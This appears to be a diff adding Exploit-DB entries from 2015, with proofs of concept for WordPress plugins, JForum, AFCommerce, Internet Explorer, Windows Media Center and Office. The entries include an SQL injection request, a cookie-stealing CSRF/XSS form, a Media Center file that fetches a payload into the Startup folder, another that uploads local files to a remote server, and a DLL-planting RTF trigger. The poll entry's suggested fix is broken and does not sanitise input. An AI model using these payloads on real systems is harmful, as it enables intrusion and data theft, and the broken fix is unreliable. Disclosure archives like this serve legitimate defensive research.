14. `video_id` 14. `video_id`
In case #7 a user can also change the gallery name, description and In case #7 a user can also change the gallery name, description and visibil=
visibility by setting POST parameters `gal_name`, `gal_desc` and ity by setting POST parameters `gal_name`, `gal_desc` and `gal_visibility` =
`gal_visibility` respectively. respectively.
In case #8 `photo_id` is first casted to integer and a query to DB is In case #8 `photo_id` is first casted to integer and a query to DB is perfo=
performed. If results are returned then for each result a new query is rmed. If results are returned then for each result a new query is performed=
performed without casting the `photo_id` to integer. So if an attacker without casting the `photo_id` to integer. So if an attacker knows a valid=
knows a valid video id then it can perform the attack in the second video id then it can perform the attack in the second query. This achievab=
query. This achievable because `<?php (int)'1 and sleep(5)' === 1; ?> le because `<?php (int)'1 and sleep(5)' === 1; ?>
In case #9 a user can also change the photo name, description, tags In case #9 a user can also change the photo name, description, tags and cat=
and category by setting POST parameters `photo_name`, `photo_desc`, egory by setting POST parameters `photo_name`, `photo_desc`, `photo_tags` a=
`photo_tags` and `photo_category` respectively. nd `photo_category` respectively.
In case #10 a user can also change the video name, unique id and type In case #10 a user can also change the video name, unique id and type by se=
by setting POST parameters `video_name`, `video_unique_id` and tting POST parameters `video_name`, `video_unique_id` and `video_type` resp=
`video_type` respectively. ectively.
Because function wpdb::get_results() and wpdb::query() are in use Because function wpdb::get_results() and wpdb::query() are in use here, onl=
here, only one SQL statement can be made per request. This holds y one SQL statement can be made per request. This holds severity of the att=
severity of the attack low. ack low.
In addition all actions are privileged so the user must have an active In addition all actions are privileged so the user must have an active acco=
account in vulnerable website, in order to perform the attack. unt in vulnerable website, in order to perform the attack.
PoC PoC
======================================================================== ========================================================================
Send a post request to Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-aja=
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: x.php` with data: `action=edit_video&video_id=1 and sleep(5) `
`action=edit_video&video_id=1 and sleep(5) `
Timeline Timeline
======================================================================== ========================================================================
@ -86,8 +85,9 @@ Timeline
2015/11/11 - Vendor notified via contact form in his website 2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org 2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email 2015/11/14 - Vendor responded and received report through email
2015/12/08 - Vendor provided new version 1.5.63 which resolves issues
Solution Solution
======================================================================== ========================================================================
No official solution yet exists. Upgrade to version 1.5.63

68
platforms/php/webapps/38915.txt Executable file
View file

@ -0,0 +1,68 @@
Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF
Exploit Author : Ahn Sung Jun
Date : 2015-12-09
Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/
Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip
Version : 1.1.3
Tested On : kail linux Iceweasel
===========================================
Vulnerable Code : wp_easy_poll.php
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
global $wpdb;
$pc = new poll_class;
/* Line 859 */
$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
$new_poll_id = $wpdb->insert_id;
$p_anss = $_REQUEST['p_anss'];
if(is_array($p_anss) and $new_poll_id){
foreach($p_anss as $key => $value){
if($value != ''){
$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
}
}
}
===========================================
POC (XSS & CSRF)
<html>
<body onload="javascript:document.forms[0].submit()">
<form name="f" action="http://192.168.0.8/wordpress/wp-admin/admin.php?page=easy_polls&action=add" method="post">
<input type="hidden" name="action" value="p_add" />
<input type="hidden" name="p_ques" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="p_start" id="p_start" value="2015-11-18 22:55:52" required="required" />
<input type="hidden" name="p_end" id="p_end" value="2015-11-20 09:00:00" required="required"/>
<input type="submit" name="submit" value="Submit" class="button" />
</form>
</html>
===========================================
Secure Coding
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
global $wpdb;
$pc = new poll_class;
/* Secure Coding */
$_REQUEST['p_ques'] = str_replace("script", "x-script", $_REQUEST['p_ques']);
$_REQUEST['p_ques'] = str_replace("<", ">", $_REQUEST['p_ques']);
$_REQUEST['p_ques']= str_replace(">" ,"<", $_REQUEST['p_ques']);
$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
$new_poll_id = $wpdb->insert_id;
$p_anss = $_REQUEST['p_anss'];
if(is_array($p_anss) and $new_poll_id){
foreach($p_anss as $key => $value){
if($value != ''){
$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
}
}
}

7
platforms/php/webapps/38919.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/64540/info
JForum is prone to a cross-site request-forgery vulnerability because the application does not properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2

7
platforms/php/webapps/38920.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/64541/info
AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
http://www.example.com/afcontrol/adblock.php?rootpathtocart=[RFI]

7
platforms/php/webapps/38921.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/64541/info
AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
http://www.example.com/afcontrol/adminpassword.php?rootpathtocart=[RFI]

7
platforms/php/webapps/38922.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/64541/info
AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
http://www.example.com/afcontrol/controlheader.php?rootpathtocart=[RFI]

9
platforms/php/webapps/38924.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/64564/info
WordPress is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
WordPress 2.0.11 is vulnerable.
http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1

58
platforms/windows/dos/38916.html Executable file
View file

@ -0,0 +1,58 @@
<!doctype html>
<html>
<head>
<meta http-equiv='Cache-Control' content='no-cache'/>
<title>IE11 11.0.9600.18097 NULL PTR</title>
<script>
/*
* Exploit Title: IE 11 COmWindowProxy::SwitchMarkup NULL PTR
* Date: 09.12.2015
* Exploit Author: Marcin Ressel
* Vendor Homepage: www.microsoft.com
* Software Link: 0
* Version: 11.0.9600.18097
* Tested on: Windows 7 x64
* https://twitter.com/m_ressel
*/
var trg,src,arg;
function tk() {
targetDomTree = document.getElementsByTagName("*");
var meta = document.createElement('meta');
meta.setAttribute("http-equiv", "X-UA-Compatible");
meta.setAttribute("content",'IE=10');
document.getElementsByTagName("head")[0].appendChild(meta);
doc = document;
src = targetDomTree[8];
trg = targetDomTree[1];
arg = targetDomTree[0];
arg.addEventListener("DOMNodeRemoved",new Function("",
'try{src.runtimeStyle.textAlignLast="center";}catch(err){}'+
'try{trg = arg.removeNode(true);}catch(err){}'+
'try{trg.parentNode.style.textAutospace="ideograph-numeric";}catch(err){}'+
'try{trg.runtimeStyle="align-items:stretch;";}catch(err){}'+
'try{trg.insertAdjacentHTML("afterEnd","<table><tfoot>http://www.w3.org/2000/xmlns/</tfoot></table>");}catch(err){}'+
'try{trg.parentElement.parentNode.style.wordWrap="initial";}catch(err){}'+
'try{trg.parentNode.style.writingMode="vertical-rl";}catch(err){}'+
'try{doc.write("");}catch(err){}try{trg.style.whiteSpace="pre"; }catch(err){}'
),
true);
trg.outerText = new Object();
trg.parentNode.appendChild(document.createElement("div"));
}
</script>
</head>
<body onload='tk();'>
<div id="out">..</div>
<div id="oneUnArg">...</div>
<div id="pHolder"></div>
</body>
</html>

72
platforms/windows/remote/38911.txt Executable file
View file

@ -0,0 +1,72 @@
Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)
Software Vendor: Microsoft
Software version : MS Windows Media Center latest version on any Windows OS.
Software Vendor Homepage: http://www.microsoft.com
CVE: CVE-2015-6131
Exploit Author: Eduardo Braun Prado
Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team
date: december 8, 2015
Vulnerability description:
Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.
exploit code below:
----------- self-exec-1.mcl ------------------------------------
<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>
------------------------------------------------------------
----------self-exec-2.mcl--------------------------------------
<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
----------------------------------------------------------
-----Create-recordsetfile.hta --------------
<html><body onload="aa()">
<script language="VBScript">
function aa()
defdir="."
alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"".
Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close
end function
</script></body></html>
-------------------------------------------------------------------------------
---------recordsetdata.txt------------------------------------------
<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
-------------------------------------------------------------------

152
platforms/windows/remote/38912.txt Executable file
View file

@ -0,0 +1,152 @@
1. Advisory Information
Title: Microsoft Windows Media Center link file incorrectly resolved reference
Advisory ID: CORE-2015-0014
Advisory URL: http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference
Date published: 2015-12-08
Date of last update: 2015-12-04
Vendors contacted: Microsoft
Release mode: Coordinated release
2. Vulnerability Information
Class: Use of Incorrectly-Resolved Name or Reference [CWE-706]
Impact: Information leak
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2015-6127
3. Vulnerability Description
The 'application' tag in Microsoft [1] Windows Media Center link files (.mcl extension) can include a 'run' parameter, which indicates the path of a file to be launched when opening the MCL file, or a 'url' parameter, which indicates the URL of a web page to be loaded within the Media Center's embedded web browser.
A specially crafted MCL file having said 'url' parameter pointing to the MCL file itself can trick Windows Media Center into rendering the very same MCL file as a local HTML file within the Media Center's embedded web browser.
4. Vulnerable Packages
Windows 7 for x64-based Systems Service Pack 1 (with Internet Explorer 11 installed)
Other versions are probably affected too, but they were not checked.
5. Vendor Information, Solutions and Workarounds
Microsoft posted the following Security Bulletin: MS15-134 [2]
6. Credits
This vulnerability was discovered and researched by Francisco Falcon from Core Exploits Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.
7. Technical Description / Proof of Concept Code
The ehexthost.exe binary, part of Windows Media Center, loads the given URL into an embedded instance of Internet Explorer running in the local machine zone, but it doesn't opt-in for the FEATURE_LOCALMACHINE_LOCKDOWN IE security feature, therefore this situation can be leveraged by an attacker to read and exfiltrate arbitrary files from a victim's local filesystem by convincing him to open a malicious MCL file.
The proof-of-concept shows an MCL file with embedded HTML + JS code, referencing itself in the 'url' parameter. Unlike what happens when loading a local HTML file into Internet Explorer 11, the JS code included here will automatically run with no prompts, and it will be able to read arbitrary local files using the MSXML2.XMLHTTP ActiveX object. Those read files then can be uploaded to an arbitrary remote web server.
Also note that, in order for the PoC to work, the value of the 'url' parameter must match the name of the MCL file.
7.1. Proof of Concept
A new file should be created with the name "poc-microsoft.mcl" and with the following content:
<application url="poc-microsoft.mcl"
name="Showcase"
bgcolor="RGB(255,255,255)"
sharedviewport="false">
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=edge" >
</head>
<body>
<script type="text/javascript">
function do_upload(fname, data){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://192.168.1.50/uploadfile.php", true);
xmlhttp.setRequestHeader("Content-type", "multipart/form-data");
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.onreadystatechange = function(){if (xmlhttp.readyState == 4){alert(fname + " done.");}}
xmlhttp.send(new Uint8Array(data));
}
function read_local_file(filename){
/* Must use this one, XMLHttpRequest() doesn't allow to read local files */
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlhttp.open("GET", filename, false);
xmlhttp.send();
return xmlhttp.responseBody.toArray();
}
function upload_file(filename){
try{
do_upload(filename, read_local_file(filename));
}catch(e){
alert(filename + " error: " + e);
}
}
upload_file("file:///C:/Windows/System32/calc.exe");
</script>
</body>
</html>
</application>
8. Report Timeline
2015-09-24: Core Security sent the first notification to Microsoft.
2015-09-24: Microsoft acknowledged receipt of the email and requested a draft version of the advisory.
2015-09-25: Core Security sent Microsoft the draft version of the advisory including a PoC.
2015-09-25: Microsoft cased the report under MSRC 31305.
2015-10-02: Core Security requested Microsoft provide a status update and confirmation of the reported bug.
2015-10-02: Microsoft informed Core Security that they were able to reproduce the issue. They were still reviewing it to determine if they would address it in a security release.
2015-10-07: Core Security requested Microsoft let us know once they made a decision.
2015-10-08: Microsoft informed Core Security they would keep us updated.
2015-10-26: Core Security asked Microsoft if there were any updates regarding the reported bug and if they had an estimated time of availability.
2015-10-27: Microsoft informed Core Security that they would be pursuing a fix for the reported issue and are working on a release date for it.
2015-11-05: Core Security asked Microsoft if they had determined a release date for the fix and a CVE ID to the reported vulnerability.
2015-11-10: Microsoft informed Core Security that they were targeting the security fix for this issue in their December release. They also informed us that they assigned CVE-2015-6127 to this case.
2015-11-11: Core Security thanked Microsoft for their reply and clarified that we would be publishing the advisory on Tuesday, the 8 of December, 2015.
2015-11-12: Microsoft requested from Core Security the link where the advisory would be published and the name of the researcher that should appear in the acknowledgment.
2015-11-13: Core Security informed Microsoft of the link and name that should appear in the acknowledgment.
2015-11-16: Microsoft informed Core Security that they updated the CVE acknowledgment accordingly.
2015-12-08: Advisory CORE-2015-0014 published.
9. References
[1] http://www.microsoft.com/.
[2] https://technet.microsoft.com/library/security/MS15-134.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
11. About Core Security
Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

48
platforms/windows/remote/38918.txt Executable file
View file

@ -0,0 +1,48 @@
Source: https://code.google.com/p/google-security-research/issues/detail?id=514
It is possible for an attacker to execute a DLL planting attack in Microsoft Office with a specially crafted OLE object. Testing was performed on a Windows 7 x64 virtual machine with Office 2013 installed and the latest updates applied. The attached POC document "planted.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {394c052e-b830-11d0-9a86-00c04fd8dbf7} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of els.dll. Other options include: {975797fc-4e2a-11d0-b702-00c04fd8dbf7} and {f778c6b4-c08b-11d2-976c-00c04f79db19}. When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to els!DllGetClassObject() which does a LoadLibraryW() call for elsext.dll (and riched32.dll but that's already loaded in winword.exe). If the attached elsext.dll is placed in the same directory with the planted.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word.
Here is the call stack leading up to the vulnerable LoadLibraryW() call. Also, it appears there are private symbols for ole32.dll on the public symbol server again.
0:000> kb
ChildEBP RetAddr Args to Child
005982a4 60e94cca 60e92464 9582fa74 00000000 kernel32!LoadLibraryW
00598538 60e94d71 00000000 0059857c 60ea3209 els!WinbaseIsolationAwarePrivatetRgzlnPgpgk+0x1a8
00598544 60ea3209 00598560 9582fa30 00000000 els!IsolationAwarePrivatenPgViNgRzlnPgpgk+0x30
0059857c 60ea36b6 9582f680 60ea6d20 007cbfe8 els!IsolationAwareInitCommonControls+0x28
005989cc 60e933d1 60e94377 0360ac4c 60ea6ce1 els!InitGlobals+0x2c3
005989d0 60e94377 0360ac4c 60ea6ce1 005990a4 els!CDll::AddRef+0xe
005989d8 60ea6ce1 005990a4 036087e0 00000000 els!CComponentDataCF::CComponentDataCF+0x10
005989ec 75bbaec6 0360ac3c 75bbee84 00598a94 els!DllGetClassObject+0x77
00598a08 75b991cd 0360ac3c 75bbee84 00598a94 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3324]
00598a20 75b98e92 00598a34 75bbee84 00598a94 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3831]
00598a58 75b98c37 00598a9c 00000000 005990a4 ole32!CClassCache::GetClassObject+0x49 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 4582]
00598ad4 75bb3170 75cb6444 00000000 005990a4 ole32!CServerContextActivator::CreateInstance+0x110 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 974]
00598b14 75b98daa 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
00598b68 75b98d1f 75cb646c 00000000 005990a4 ole32!CApartmentActivator::CreateInstance+0x112 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 2268]
00598b88 75b98aa2 75cb6494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1737]
00598ba8 75b98a53 75cb6494 00598f00 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1630]
00598be4 75b98e0d 75cb6494 00598f00 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1487]
00598c0c 75bb3170 75cb6494 00000000 005990a4 ole32!CProcessActivator::CreateInstance+0x49 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1377]
00598c4c 75bb2ef4 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
00598eac 75bb3170 75cb6448 00000000 005990a4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 685]
00598eec 75bb3098 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917]
005996c8 75bb9e25 005997e4 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:\w7rtm\com\ole32\com\objact\objact.cxx @ 1334]
00599728 75bb9d86 005997e4 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:\w7rtm\com\ole32\com\objact\immact.hxx @ 343]
0059974c 75bb9d3f 005997e4 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 157]
0059977c 75bd154c 005997e4 00000000 00000403 ole32!CoCreateInstance+0x37 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 110]
005997f8 75bcf2af 394c052e 11d0b830 c000869a ole32!wCreateObject+0x106 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3046]
0059985c 75bcf1d4 16260820 00000000 5f7a6600 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576]
00599884 703bca10 16260820 5f7a6600 097b2f00 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495]
WARNING: Stack unwind information not available. Following frames may be wrong.
005998f8 5fb7efb2 16260820 5f7a6600 097b2f00 mso!Ordinal4743+0x7c
00599948 5fb7eeb9 09775da8 16260820 5f7a6600 wwlib!DllGetLCID+0x3bc330
It is also possible to trigger this DLL load without a user click with the following RTF document:
{\rtf1{\object\objemb{\*\objclass None}{\*\oleclsid \'7b394c052e-b830-11d0-9a86-00c04fd8dbf7\'7d}{\*\objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}}
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38918.zip

7
platforms/windows/remote/38923.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/64543/info
Apple Safari for Windows is affected by a security-bypass weakness.
Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in conducting phishing attacks.
http://example.com:/@/xsser.me/